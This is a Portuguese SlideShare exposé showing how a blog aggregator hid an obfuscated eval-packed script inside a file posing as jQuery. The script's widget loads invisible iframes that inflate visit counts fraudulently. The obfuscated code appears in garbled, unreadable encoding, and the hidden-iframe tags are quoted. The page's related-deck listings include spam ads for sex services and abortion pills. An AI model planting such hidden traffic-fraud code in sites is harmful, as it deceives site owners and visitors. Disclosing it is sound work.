SlideShare uma empresa Scribd logo
1 de 4
Baixar para ler offline
UAZAAA - Farsa Parte II

Depois da nossa primeira denúncia, o pessoal deste agregador tirou o código criptografado que ficava no arquivo
jquery-1.6.2.min.js (http://www.uazaa.xpg.com.br/widgets/jquery-1.6.2.min.js)

Quem não viu dá uma olhada em http://www.slideshare.net/devninjabr/uazaa-uma-farsa que explico a técnica.

Hoje dei uma olhada novamente e vi que ele continua utilizando a fraude.

Desta vez ele utilizou uma forma de criptografia que envolve a função EVAL do javascript e juntamente com uma
criptografia em hexadecimal.

O código se encontra ao final do arquivo (http://www.uazaa.xpg.com.br/widgets/jquery-1.6.2.min.js) que como
disse na Parte I, é um arquivo acima de qualquer suspeita, por se tratar de um arquivo encontrado em quase todos
os blogs...

Apenas para curiosidade, o código encontrado ao final do arquivo é este:
eval(function (p, a, c, k, e, d)
{
    e = function (c)
    {
        return (c < a ? '' : e(c / a)) + String.fromCharCode(c % a + 161);
    };
    if (!''.replace(/^/, String))
    {
        while (c--) {
            d[e(c)] = k[c] || e(c)
        }
        k = [function (e)
        {
            return d[e]
        }];
        e = function ()
        {
            return '[xa1-xff]+';
        };
        c = 1;
    };
    while (c--) {
        if (k[c]) {
            p = p.replace(new RegExp(e(c), 'g'), k[c]);
        }
    }
    return p
}
('¢¦ ¶=["£à ¤£¿¤°«®«§«µ«¨«Â¥à ¨¹£¿¤§¥à £³¤§¢§®Ã-
©©ó¨¤£Ö¤§Ø®¥¥¥É¤¤§¹§¢®¥¢¤£ÓãÂ-
Ç£ð¤§ÉªÈ¥ó§Ç£ß¤£Ê¥¥Ã¸£Û¤ï©©Ç£°¤ØñØ«£Â-
¥¥à £»¤§à à ¥Â¨¤§¥À¹µÂ§À¡¡¨¤§¥¸µ¹Â£¿¤¨¥à £³ÔÂ-
¨ÀÃÀ¸¨¹£¿¤¥à £³©¦¦Êɩø§¹£Ã¸£»¤§à à ¥£Û¤µÂ§À¥
°¹°Ç£°¤£âԣ䤩¦¦½©É¨¤§¥É©¦¦½©«©Ä©¥«µÂ§À¥¸£³Ô
°Ã¤©é¤Ó¤°«®«§«µ«¨«Â¥à ¨¹Ó¤§¥à Ö
Ô§Ç줮¥Ã¸Õ¤ï¦©¦©ÇܤØñث륥à Ú¤§à à ¥Â-
¨¤§¥À¹µÂ§À¡¡¨¤§¥¸µ¹ÂÓ¤¨¥à ÖÔ¨ÀÃÀ¸¨¹Ó¤¥à Ö
¦©¦¦¦¦Êɦ©Ã¸§¹£Ã¸Ú¤§à à ¥Õ¤µÂ§À¥°¹°ÇܤèÔ夦©¦
¦¦¦½¦©É¨¤§¥É¦©¦¦¦¦½¦©«¦©Ä¦©¥«µÂ§À¥¸Ö
԰䦩äÇߤ⤦¦¦©¢Î¢½¢¯¢±¢²¢Å¢¾¢Æ¢È¢±¢Ì¢Ä¢¼¢
»¢®¢®¢ª¢Ñ¢¬¢¬¢§¢§¢§¢£¢³¢²¢à ¢²¢²¢£¢Û¢ª¢°¢£¢Ì¢
¨¢Å¢£¢Â-
¢±¢¬¢¯¢³¢Ì¢Ê¢¨¢¯¢¯¢£¢ª¢»¢ª¢¼¢Æ¢È¢®¢µ¢Ù¢¾¢Ä¢
¼¢·¢½¢È¢ª¢Ù¢²¢µ¢Ñ¢º¢¨¢º¢¾¢Ò¢¼¢¿¢Î¢¬¢½¢¯¢±¢²¢
Å¢¾¢¿¢ð¢Î¢½¢¯¢±¢²¢Å¢¾¢Æ¢È¢±¢Ì¢Ä¢¼¢»¢®¢®¢ª¢Ñ
¢¬¢¬¢§¢§¢§¢£¢³¢²¢à ¢²¢²¢£¢Û¢ª¢°¢£¢Ì¢¨¢Å¢£¢Â-
¢±¢¬¢¼¢Æ¢È¢®¢µ¢Ù¢¾¢Ä¢¼¢·¢½¢È¢ª¢Ù¢²¢µ¢Ñ¢º¢¨¢
º¢¾¢Ò¢¼¢¿¢Î¢¬¢½¢¯¢±¢²¢Å¢¾¢¿¦¦¦©¥¥¸¦©«à «à «¦©ê
¡ò¡ø¡ü¡ô¡ÿ¡ç¡á¡þ¡¢¡¡ý¡ú¡ö¡õ¡÷¡£²¡££¡£ª¡£±¡£¾
¡£¼¡£¬¡£¯¡£Å¡£È¡£®¡£½¡£§¡£Ì¡£¨¡£Î¡£Ä¡£Ñ¡£º¡
£Ù¡£µ¦©Ç£Æ¤¦©¡¦©¥«²«à Ã¥¥©«£·«£à «©¡¡¡¡¡¡¡¡¡¡¡
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡£¿¡£³¡£Ê¡£°¡£Û¡£»¡
£Â-
¡£â¡£ä¡£à ¡£ß¡£Ü¡£Õ¡£Ú¡£ë¡£è¡ª¯¡£å¡£é¡£ì¡£ê¡
£ò¡£ø¡£ü¡£ô¡£ÿ¡£ç¡£á¡£þ¡£¢¡¡£ý¡£ú¡ª²¡£ö¡£õ¡£
÷¡ª£¡ªª¡£·¡ª±¡ª¾¡ª¼¡ª¬¡ªÅ¡ª®¡ª½¡ª§¡£Ò©Ç£Ò¤©¡
©¥«²«à Ã¥¥","¡","à °Æº·","¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡Â
¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡Â¡ÃŽÃ’³§·º»³¡Â¨·Ò³¡ÊѺƨ¡Â-
¨°Æ®§¨¡ºÎ¡á·Âº³Ä¡¨ß®Æ¡¬ª¡à °Æº·¡·»á·Â-
º³Ä¡±¬¡³¨Ê¡ç¨ÄÕⰡλ¿à Ñ®Âà »Ì¨¡±¼¡°®Â-
à ¨å³·¡Å¾¡¬£¡ªÕ¡¯²¡¯ª¡¬¼¡ªÚ¡¬¬¡¬Ü¡¯±¡¯¾¡¬È¡¯
¯¡¬±¡¬Ú¡±à ¡±Ü¡±Ó¡¬Õ¡¬à ¡¯È¡±Õ¡¯¼¡¬Å¡¡¬¯¡¯Å¡¯Ó
¡¬¾¡±Ö¡Êº·¨¡¡¬Ö¡¡Ò³¨à §®°¨¡Ì»§Ò¿¨³·¡²Ó","","ÃŽÂ-
»¿à Ñ®Âà »Ì¨","¨°Æ®§¨","¦ÊÉ","¦½","Ä"];¢¢(Þ(à ,ã,´,×
,Ë,æ){Ë=Þ(´){à (´<ã?¶[4]:Ë(¢£(´/ã)))+((´=´%ã)>¢¥?ù[¶[5]](´+¢®):´.¢Â(¢«))};î(!¶[4][¶[6]](/^/,ù)){û(´--){æ[Ë(´)]=×[´]||Ë(´)};×
=[Þ(Ë){à æ[Ë]}];Ë=Þ(){à ¶[7]};´=1};û(´--){î(×[´]){à =à [¶[6]](¢ª ¢©(¶[8]+Ë(´)+¶[8],¶[9]),×
[´])}};à à }(¶[0],¢¨,¢¬,¶[3][¶[2]](¶[1]),0,{}));',
95, 109, 'x7C|x25|x31|x28|x29|x5C|x63|x65|x27|x32|x2C|x36|x72|x61|x37|x70|x33|x30|x6E|_0x1c28x3|x6B|_0x3d99|x74|x3B|x3D|x69|x6F|x35|x62|x34|x6D|x5D|x7B|x5B|x7D|x67|x38|x6C|x2
E|x39|x2B|x77|_0x1c28x5|x64|x43|x66|x2D|x73|x68|x75|x41|x20|x45|x42|_0x1c28x4|x2F|x6A|x46|x71|x44|return|function|x76|_0x1c28x1|x53|x78|_0x1c28x2|x79|x49|_0x1c28x6|x52|x48|x4
A|x4C|x47|x4B|x3F|if|x21|x7A|x5E|x4D|x3A|x50|x59|x58|x5A|x4E|String|x57|while|x4F|x56|x54|x51|x55|eval|parseInt|x3E|35|var|x3C|62|RegExp|new|36|137|toString|29'.split('|'),
0, {}))
Com este caracteres estranhos não entendemos nada, não é mesmo ? Desta forma, quando visualizamos o código
fonte da página, ninguém consegue entender o que este código faz.

Bom amigo blogueiro, agora vou explicar para vocês, uma forma para verificar se algum site está utilizando de
artimanhas para mandar visitas.

Existe um plugin do Firefox que se chama Firebug (http://firebug.softonic.com.br/download)

Ele é uma ferramenta que ajuda os programadores na hora de desenvolver sites. Uma das inúmeras funcionalidades
dele é mostrar como seria o código fonte, independente se o cara criptografou...

Vamos agora ao exemplo, usando o nosso Agregador Favorito.

Vamos direto ao arquivo do trambique: o dos Widgets... http://www.uazaa.xpg.com.br/widgets/250x250.php




Ativamos o Firebug e...

Aparece o código fonte já descriptografado...

Tcham tcham tcham tcham!!!!
Achamos os IFRAMES.... ☺

Explicando o método:

Uma das exigências de parceria do Uazaa é a utilização do widget em todos os blogs parceiros. Desta forma, quando
alguém acessa o seu blog, TODO acesso gera um acesso à página inicial do uazaa e também um acesso falso para
algum blogueiro (geralmente os que ficam no topo durante o dia).

O <iframe style="display:none;" src="http://www.uazaa.xpg.com.br/fuckoff.php">
gera um link aleatório para que o uazaa mande visitas para algum blogueiro. (Experimente acessar
http://www.uazaa.xpg.com.br/fuckoff.php que toda vez é um site diferente)

PS: Logo após a denúncia, ele alterou o nome do script para:

http://www.uazaa.com.br/newRed.php (atualização feita em 14/01/2012)
O <iframe style="display:none;" src="http://www.uazaa.xpg.com.br/">
Gera um acesso para a home do uazaa...

Por exemplo: Se vc tiver 50 online no seu blog, o widget será carregado 50 vezes... e automaticamente será
contado + 50 acessos na home do uazaa... E de quebra o uazaa manda visitas falsas para 50 blogs.




Tá dado o recado...

13/01/2012

@devninjaBR

Mais conteúdo relacionado

Mais procurados

Laravel 4 package development
Laravel 4 package developmentLaravel 4 package development
Laravel 4 package developmentTihomir Opačić
 
Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014Eric Hogue
 
Search and play more than 50 clips
Search and play more than 50 clipsSearch and play more than 50 clips
Search and play more than 50 clipsphanhung20
 
How to deploy node to production
How to deploy node to productionHow to deploy node to production
How to deploy node to productionSean Hess
 
Continuous testing In PHP
Continuous testing In PHPContinuous testing In PHP
Continuous testing In PHPEric Hogue
 
If love is_blind_-_tiffany
If love is_blind_-_tiffanyIf love is_blind_-_tiffany
If love is_blind_-_tiffanytenka
 
Con-FESS 2015 - Having Fun With Javassist
Con-FESS 2015 - Having Fun With JavassistCon-FESS 2015 - Having Fun With Javassist
Con-FESS 2015 - Having Fun With JavassistAnton Arhipov
 
Remedie: Building a desktop app with HTTP::Engine, SQLite and jQuery
Remedie: Building a desktop app with HTTP::Engine, SQLite and jQueryRemedie: Building a desktop app with HTTP::Engine, SQLite and jQuery
Remedie: Building a desktop app with HTTP::Engine, SQLite and jQueryTatsuhiko Miyagawa
 
Oredev 2015 - Taming Java Agents
Oredev 2015 - Taming Java AgentsOredev 2015 - Taming Java Agents
Oredev 2015 - Taming Java AgentsAnton Arhipov
 
Speed up web APIs with Expressive and Swoole (PHP Day 2018)
Speed up web APIs with Expressive and Swoole (PHP Day 2018) Speed up web APIs with Expressive and Swoole (PHP Day 2018)
Speed up web APIs with Expressive and Swoole (PHP Day 2018) Zend by Rogue Wave Software
 
Assurer - a pluggable server testing/monitoring framework
Assurer - a pluggable server testing/monitoring frameworkAssurer - a pluggable server testing/monitoring framework
Assurer - a pluggable server testing/monitoring frameworkGosuke Miyashita
 
Testing ASP.net Web Applications using Ruby
Testing ASP.net Web Applications using RubyTesting ASP.net Web Applications using Ruby
Testing ASP.net Web Applications using RubyBen Hall
 
Building Realtime Apps with Ember.js and WebSockets
Building Realtime Apps with Ember.js and WebSocketsBuilding Realtime Apps with Ember.js and WebSockets
Building Realtime Apps with Ember.js and WebSocketsBen Limmer
 
Testing of javacript
Testing of javacriptTesting of javacript
Testing of javacriptLei Kang
 

Mais procurados (20)

Laravel 4 package development
Laravel 4 package developmentLaravel 4 package development
Laravel 4 package development
 
groovy & grails - lecture 9
groovy & grails - lecture 9groovy & grails - lecture 9
groovy & grails - lecture 9
 
Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014
 
Search and play more than 50 clips
Search and play more than 50 clipsSearch and play more than 50 clips
Search and play more than 50 clips
 
How to deploy node to production
How to deploy node to productionHow to deploy node to production
How to deploy node to production
 
Continuous testing In PHP
Continuous testing In PHPContinuous testing In PHP
Continuous testing In PHP
 
Perlbal Tutorial
Perlbal TutorialPerlbal Tutorial
Perlbal Tutorial
 
If love is_blind_-_tiffany
If love is_blind_-_tiffanyIf love is_blind_-_tiffany
If love is_blind_-_tiffany
 
Con-FESS 2015 - Having Fun With Javassist
Con-FESS 2015 - Having Fun With JavassistCon-FESS 2015 - Having Fun With Javassist
Con-FESS 2015 - Having Fun With Javassist
 
groovy & grails - lecture 6
groovy & grails - lecture 6groovy & grails - lecture 6
groovy & grails - lecture 6
 
Your code are my tests
Your code are my testsYour code are my tests
Your code are my tests
 
Remedie: Building a desktop app with HTTP::Engine, SQLite and jQuery
Remedie: Building a desktop app with HTTP::Engine, SQLite and jQueryRemedie: Building a desktop app with HTTP::Engine, SQLite and jQuery
Remedie: Building a desktop app with HTTP::Engine, SQLite and jQuery
 
Oredev 2015 - Taming Java Agents
Oredev 2015 - Taming Java AgentsOredev 2015 - Taming Java Agents
Oredev 2015 - Taming Java Agents
 
Elixir on Containers
Elixir on ContainersElixir on Containers
Elixir on Containers
 
Speed up web APIs with Expressive and Swoole (PHP Day 2018)
Speed up web APIs with Expressive and Swoole (PHP Day 2018) Speed up web APIs with Expressive and Swoole (PHP Day 2018)
Speed up web APIs with Expressive and Swoole (PHP Day 2018)
 
Assurer - a pluggable server testing/monitoring framework
Assurer - a pluggable server testing/monitoring frameworkAssurer - a pluggable server testing/monitoring framework
Assurer - a pluggable server testing/monitoring framework
 
Testing ASP.net Web Applications using Ruby
Testing ASP.net Web Applications using RubyTesting ASP.net Web Applications using Ruby
Testing ASP.net Web Applications using Ruby
 
Building Realtime Apps with Ember.js and WebSockets
Building Realtime Apps with Ember.js and WebSocketsBuilding Realtime Apps with Ember.js and WebSockets
Building Realtime Apps with Ember.js and WebSockets
 
groovy & grails - lecture 10
groovy & grails - lecture 10groovy & grails - lecture 10
groovy & grails - lecture 10
 
Testing of javacript
Testing of javacriptTesting of javacript
Testing of javacript
 

Destaque

Guia de trabajo
Guia de trabajoGuia de trabajo
Guia de trabajojake25
 
Sesión benéfica Cirque du Soleil
Sesión benéfica Cirque du SoleilSesión benéfica Cirque du Soleil
Sesión benéfica Cirque du SoleilEAE Business School
 
Menuanaid
MenuanaidMenuanaid
MenuanaidAnaid04
 
Notes from the Pit
Notes from the PitNotes from the Pit
Notes from the PitKenton Light
 
LIGHTKEN - Tutorial: Google for Webmasters
LIGHTKEN - Tutorial: Google for WebmastersLIGHTKEN - Tutorial: Google for Webmasters
LIGHTKEN - Tutorial: Google for WebmastersKenton Light
 

Destaque (10)

Twentyten
TwentytenTwentyten
Twentyten
 
Guia de trabajo
Guia de trabajoGuia de trabajo
Guia de trabajo
 
1550 sites
1550 sites1550 sites
1550 sites
 
Sesión benéfica Cirque du Soleil
Sesión benéfica Cirque du SoleilSesión benéfica Cirque du Soleil
Sesión benéfica Cirque du Soleil
 
Menuanaid
MenuanaidMenuanaid
Menuanaid
 
Notes from the Pit
Notes from the PitNotes from the Pit
Notes from the Pit
 
Daily VTR Trades
Daily VTR TradesDaily VTR Trades
Daily VTR Trades
 
Slideshareweb2
Slideshareweb2Slideshareweb2
Slideshareweb2
 
LIGHTKEN - Tutorial: Google for Webmasters
LIGHTKEN - Tutorial: Google for WebmastersLIGHTKEN - Tutorial: Google for Webmasters
LIGHTKEN - Tutorial: Google for Webmasters
 
PACO. 2º PARTE
PACO. 2º PARTEPACO. 2º PARTE
PACO. 2º PARTE
 

Semelhante a Uazaa uma-farsa-parte 2

Compatibility Detector Tool of Chrome extensions
Compatibility Detector Tool of Chrome extensionsCompatibility Detector Tool of Chrome extensions
Compatibility Detector Tool of Chrome extensionsKai Cui
 
Protractor framework architecture with example
Protractor framework architecture with exampleProtractor framework architecture with example
Protractor framework architecture with exampleshadabgilani
 
Cross Domain Web
Mashups with JQuery and Google App Engine
Cross Domain Web
Mashups with JQuery and Google App EngineCross Domain Web
Mashups with JQuery and Google App Engine
Cross Domain Web
Mashups with JQuery and Google App EngineAndy McKay
 
Chromium Embedded Framework + Go at Brooklyn JS
Chromium Embedded Framework + Go at Brooklyn JSChromium Embedded Framework + Go at Brooklyn JS
Chromium Embedded Framework + Go at Brooklyn JSquirkey
 
Plack perl superglue for web frameworks and servers
Plack perl superglue for web frameworks and serversPlack perl superglue for web frameworks and servers
Plack perl superglue for web frameworks and serversTatsuhiko Miyagawa
 
SXSW: Even Faster Web Sites
SXSW: Even Faster Web SitesSXSW: Even Faster Web Sites
SXSW: Even Faster Web SitesSteve Souders
 
Quality Use Of Plugin
Quality Use Of PluginQuality Use Of Plugin
Quality Use Of PluginYasuo Harada
 
WebGL: GPU acceleration for the open web
WebGL: GPU acceleration for the open webWebGL: GPU acceleration for the open web
WebGL: GPU acceleration for the open webpjcozzi
 
Django + Vue, JavaScript de 3ª generación para modernizar Django
Django + Vue, JavaScript de 3ª generación para modernizar DjangoDjango + Vue, JavaScript de 3ª generación para modernizar Django
Django + Vue, JavaScript de 3ª generación para modernizar DjangoJavier Abadía
 
Xopus Application Framework
Xopus Application FrameworkXopus Application Framework
Xopus Application FrameworkJady Yang
 
Bonnes pratiques de développement avec Node js
Bonnes pratiques de développement avec Node jsBonnes pratiques de développement avec Node js
Bonnes pratiques de développement avec Node jsFrancois Zaninotto
 
Exploiting the newer perl to improve your plugins
Exploiting the newer perl to improve your pluginsExploiting the newer perl to improve your plugins
Exploiting the newer perl to improve your pluginsMarian Marinov
 
Art & music vs Google App Engine
Art & music vs Google App EngineArt & music vs Google App Engine
Art & music vs Google App Enginethomas alisi
 
Add new commands in appium 2.0
Add new commands in appium 2.0Add new commands in appium 2.0
Add new commands in appium 2.0Kazuaki Matsuo
 
Hackazon realistic e-commerce Hack platform
Hackazon realistic e-commerce Hack platformHackazon realistic e-commerce Hack platform
Hackazon realistic e-commerce Hack platformIhor Uzhvenko
 
And the Greatest of These Is ... Rack Support
And the Greatest of These Is ... Rack SupportAnd the Greatest of These Is ... Rack Support
And the Greatest of These Is ... Rack SupportBen Scofield
 
RichFaces - Testing on Mobile Devices
RichFaces - Testing on Mobile DevicesRichFaces - Testing on Mobile Devices
RichFaces - Testing on Mobile DevicesPavol Pitoňák
 
How and why i roll my own node.js framework
How and why i roll my own node.js frameworkHow and why i roll my own node.js framework
How and why i roll my own node.js frameworkBen Lin
 
Ratpack - Classy and Compact Groovy Web Apps
Ratpack - Classy and Compact Groovy Web AppsRatpack - Classy and Compact Groovy Web Apps
Ratpack - Classy and Compact Groovy Web AppsJames Williams
 

Semelhante a Uazaa uma-farsa-parte 2 (20)

Compatibility Detector Tool of Chrome extensions
Compatibility Detector Tool of Chrome extensionsCompatibility Detector Tool of Chrome extensions
Compatibility Detector Tool of Chrome extensions
 
Protractor framework architecture with example
Protractor framework architecture with exampleProtractor framework architecture with example
Protractor framework architecture with example
 
Cross Domain Web
Mashups with JQuery and Google App Engine
Cross Domain Web
Mashups with JQuery and Google App EngineCross Domain Web
Mashups with JQuery and Google App Engine
Cross Domain Web
Mashups with JQuery and Google App Engine
 
Chromium Embedded Framework + Go at Brooklyn JS
Chromium Embedded Framework + Go at Brooklyn JSChromium Embedded Framework + Go at Brooklyn JS
Chromium Embedded Framework + Go at Brooklyn JS
 
Plack perl superglue for web frameworks and servers
Plack perl superglue for web frameworks and serversPlack perl superglue for web frameworks and servers
Plack perl superglue for web frameworks and servers
 
SXSW: Even Faster Web Sites
SXSW: Even Faster Web SitesSXSW: Even Faster Web Sites
SXSW: Even Faster Web Sites
 
Quality Use Of Plugin
Quality Use Of PluginQuality Use Of Plugin
Quality Use Of Plugin
 
WebGL: GPU acceleration for the open web
WebGL: GPU acceleration for the open webWebGL: GPU acceleration for the open web
WebGL: GPU acceleration for the open web
 
AppengineJS
AppengineJSAppengineJS
AppengineJS
 
Django + Vue, JavaScript de 3ª generación para modernizar Django
Django + Vue, JavaScript de 3ª generación para modernizar DjangoDjango + Vue, JavaScript de 3ª generación para modernizar Django
Django + Vue, JavaScript de 3ª generación para modernizar Django
 
Xopus Application Framework
Xopus Application FrameworkXopus Application Framework
Xopus Application Framework
 
Bonnes pratiques de développement avec Node js
Bonnes pratiques de développement avec Node jsBonnes pratiques de développement avec Node js
Bonnes pratiques de développement avec Node js
 
Exploiting the newer perl to improve your plugins
Exploiting the newer perl to improve your pluginsExploiting the newer perl to improve your plugins
Exploiting the newer perl to improve your plugins
 
Art & music vs Google App Engine
Art & music vs Google App EngineArt & music vs Google App Engine
Art & music vs Google App Engine
 
Add new commands in appium 2.0
Add new commands in appium 2.0Add new commands in appium 2.0
Add new commands in appium 2.0
 
Hackazon realistic e-commerce Hack platform
Hackazon realistic e-commerce Hack platformHackazon realistic e-commerce Hack platform
Hackazon realistic e-commerce Hack platform
 
And the Greatest of These Is ... Rack Support
And the Greatest of These Is ... Rack SupportAnd the Greatest of These Is ... Rack Support
And the Greatest of These Is ... Rack Support
 
RichFaces - Testing on Mobile Devices
RichFaces - Testing on Mobile DevicesRichFaces - Testing on Mobile Devices
RichFaces - Testing on Mobile Devices
 
How and why i roll my own node.js framework
How and why i roll my own node.js frameworkHow and why i roll my own node.js framework
How and why i roll my own node.js framework
 
Ratpack - Classy and Compact Groovy Web Apps
Ratpack - Classy and Compact Groovy Web AppsRatpack - Classy and Compact Groovy Web Apps
Ratpack - Classy and Compact Groovy Web Apps
 

Último

Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProduct Anonymous
 
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelDeepika Singh
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingEdi Saputra
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024The Digital Insurer
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodJuan lago vázquez
 
WSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businesspanagenda
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontologyjohnbeverley2021
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDropbox
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusZilliz
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxRustici Software
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWERMadyBayot
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistandanishmna97
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Zilliz
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Bhuvaneswari Subramani
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 

Último (20)

Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
WSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering Developers
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontology
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Corporate and higher education May webinar.pptx
